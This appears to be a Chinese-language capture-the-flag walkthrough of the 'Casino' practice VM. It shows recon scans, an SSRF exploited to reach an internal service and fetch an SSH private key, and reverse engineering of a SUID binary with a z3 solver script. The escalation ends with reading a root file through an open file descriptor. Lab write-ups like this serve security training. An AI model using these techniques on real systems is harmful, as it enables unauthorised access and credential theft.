【OSCP】一个非常有趣的靶场-Casino

admin 2024年4月29日12:07:58评论6 views字数 4887阅读16分17秒阅读模式
【OSCP】一个非常有趣的靶场-Casino

OSCP 靶场

【OSCP】一个非常有趣的靶场-Casino

靶场介绍

casino

medium

ffuz、ssrf 漏洞利用、ida 逆向、python 脚本编写、进程分析

信息收集

主机发现

nmap -sn 192.168.1.0/24

【OSCP】一个非常有趣的靶场-Casino

端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -p- -Pn -T4 192.168.1.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 07:27 +06
Nmap scan report for 192.168.1.25
Host is up (0.00073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 3b:20:d0:ba:e2:7a:8a:01:8a:35:3b:52:08:b0:c6:a8 (ECDSA)
|_ 256 74:76:0a:61:d4:2c:9b:45:36:00:4d:c8:d8:be:0b:89 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Binary Bet Casino
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

└─$ gobuster dir -w pte_tools/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.1.25 -x php,txt,html,htm -e

【OSCP】一个非常有趣的靶场-Casino

权限获取

这里注册一个账号可以进入系统,里面是个玩游戏的页面

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

这里发现输到0$的时候会跳转到如下这个页面

【OSCP】一个非常有趣的靶场-Casino

http://192.168.1.25/casino/explainmepls.php?learnabout=en.wikipedia.org/wiki/Shell_game

这个功能点,不是包含就是ssrf

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

这里试了file、dict、 gopher 协议发现都过滤掉了,里面估计只写了固定的http协议。

【OSCP】一个非常有趣的靶场-Casino

使用bp 探测内部服务端口

【OSCP】一个非常有趣的靶场-Casino

这里爆破到6969端口,是管理员

【OSCP】一个非常有趣的靶场-Casino

管理员待办事项?提示?

【OSCP】一个非常有趣的靶场-Casino

使用bp 加载字典卡死,还是使用ffuf 对目录进行ffuz,发现codebreakers可访问

ffuf -w pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.1.25/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -H "Cookie: PHPSESSID=3qef4taijt8b50t91n40o5va7g" -fw 284

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

查看源码这儿有个跳转

【OSCP】一个非常有趣的靶场-Casino

嘿嘿拼接后获取ssh 私钥

http://192.168.1.25/casino/explainmepls.php?learnabout=127.0.0.1:6969/codebreakers/shimmer_rsa

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

权限提升

suid 查看pass 二进制文件存在root 权限。

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

我们把它下载下来进行逆向

【OSCP】一个非常有趣的靶场-Casino

这段C/C++代码定义了一个程序,执行以下操作:

  • 提示用户输入密码,并使用名为checkPasswd的函数进行检查。

  • 如果密码正确,打开文件"/opt/root.pass",将用户ID设置为当前用户,并提示输入第二个密码。

  • 如果第二个密码匹配"ultrasecretpassword",则执行一个shell ("/bin/sh")。

  • 如果第二个密码不正确,则打印"bye."。

【OSCP】一个非常有趣的靶场-Casino

checkPasswd(s)函数检查输入的密码s,如果返回值不等于1,则返回0。

【OSCP】一个非常有趣的靶场-Casino

__int64 __fastcall checkPasswd(const char *a1)
{
if ( strlen(a1) == 26 )
{
if ( *a1 - a1[20] == -10 )
{
if ( a1[1] + a1[6] == 208 )
{
if ( a1[2] - a1[4] == 10 )
{
if ( a1[3] - a1[14] == -2 )
{
if ( a1[4] * a1[25] == 10100 )
{
if ( a1[5] + a1[17] == 219 )
{
if ( a1[6] - a1[10] == -11 )
{
if ( a1[7] - a1[20] == -10 )
{
if ( a1[8] * a1[17] == 11845 )
{
if ( a1[9] - a1[18] == -7 )
{
if ( a1[10] - a1[24] == 1 )
{
if ( a1[11] * a1[4] == 9797 )
{
if ( a1[12] - a1[3] == 3 )
{
if ( a1[13] * a1[11] == 11252 )
{
if ( a1[14] - a1[13] == -2 )
{
if ( a1[15] == a1[23] )
{
if ( a1[16] - a1[8] == -5 )
{
if ( a1[17] * a1[7] == 10815 )
{
if ( a1[18] - a1[14] == -2 )
{
if ( a1[19] - *a1 == -8 )
{
if ( a1[20] - a1[23] == 4 )
{
if ( a1[21] + a1[7] == 220 )
{
if ( a1[22] - a1[1] == 15 )
{
if ( a1[23] == a1[15] )
{
if ( a1[24] * a1[2] == 12654 )
{
if ( a1[25] - a1[12] == -15 )
{
puts("Correct pass");
return 1LL;
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
return 0LL;
}
}
else
{
puts("Incorrect pass");
return 0LL;
}
}

这里直接让ai 使用z3 库写一个满足以上代码条件的脚本

from z3 import *

# Create a solver
solver = Solver()

# Define 26 integer variables for each character in the password within ASCII range
password = [Int(f"char_{i}") for i in range(26)]
for char in password:
solver.add(And(char >= 0, char <= 127)) # Limit characters to ASCII range

# Add constraints based on the conditions in checkPasswd function
solver.add(password[0] - password[20] == -10)
solver.add(password[1] + password[6] == 208)
solver.add(password[2] - password[4] == 10)
solver.add(password[3] - password[14] == -2)
solver.add(password[4] * password[25] == 10100)
solver.add(password[5] + password[17] == 219)
solver.add(password[6] - password[10] == -11)
solver.add(password[7] - password[20] == -10)
solver.add(password[8] * password[17] == 11845)
solver.add(password[9] - password[18] == -7)
solver.add(password[10] - password[24] == 1)
solver.add(password[11] * password[4] == 9797)
solver.add(password[12] - password[3] == 3)
solver.add(password[13] * password[11] == 11252)
solver.add(password[14] - password[13] == -2)
solver.add(password[15] == password[23])
solver.add(password[16] - password[8] == -5)
solver.add(password[17] * password[7] == 10815)
solver.add(password[18] - password[14] == -2)
solver.add(password[19] - password[0] == -8)
solver.add(password[20] - password[23] == 4)
solver.add(password[21] + password[7] == 220)
solver.add(password[22] - password[1] == 15)
solver.add(password[23] == password[15])
solver.add(password[24] * password[2] == 12654)
solver.add(password[25] - password[12] == -15)

# Check if there is a solution
if solver.check() == sat:
model = solver.model()
password_str = ''.join([chr(model[char].as_long()) for char in password])
print("Correct pass found:", password_str)
else:
print("No solution found")

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

最后得到密码,如下

ihopethisisastrongpassword
ultrasecretpassword

输入密码后,进入pass 进程的shell,这里/opt/root.pass文件,也是打开状态的,因此我们可以进入 /proc/self/fd,查看进程内容

/proc/self/fd 是一个特殊的目录,它包含了当前进程打开的文件描述符的符号链接。通过访问这个目录,可以查看当前进程打开的文件描述符的信息。每个文件描述符都会对应一个符号链接,指向实际打开的文件或设备。这个目录提供了一种方式来查看当前进程的文件描述符情况,对于调试和监控进程的文件操作很有用。

`cat <&3` 这个命令的含义是将文件描述符 3 的内容输出到标准输出。在这个命令中,`cat` 是用来将文件内容输出的命令,`<&3` 表示将文件描述符 3 的内容作为输入传递给 `cat` 命令,然后 `cat` 命令将文件描述符 3 的内容输出到标准输出。

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

End

“点赞、在看与分享都是莫大的支持”

【OSCP】一个非常有趣的靶场-Casino

【OSCP】一个非常有趣的靶场-Casino

原文始发于微信公众号(贝雷帽SEC):【OSCP】一个非常有趣的靶场-Casino

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月29日12:07:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】一个非常有趣的靶场-Casinohttps://cn-sec.com/archives/2696666.html

发表评论

匿名网友 填写信息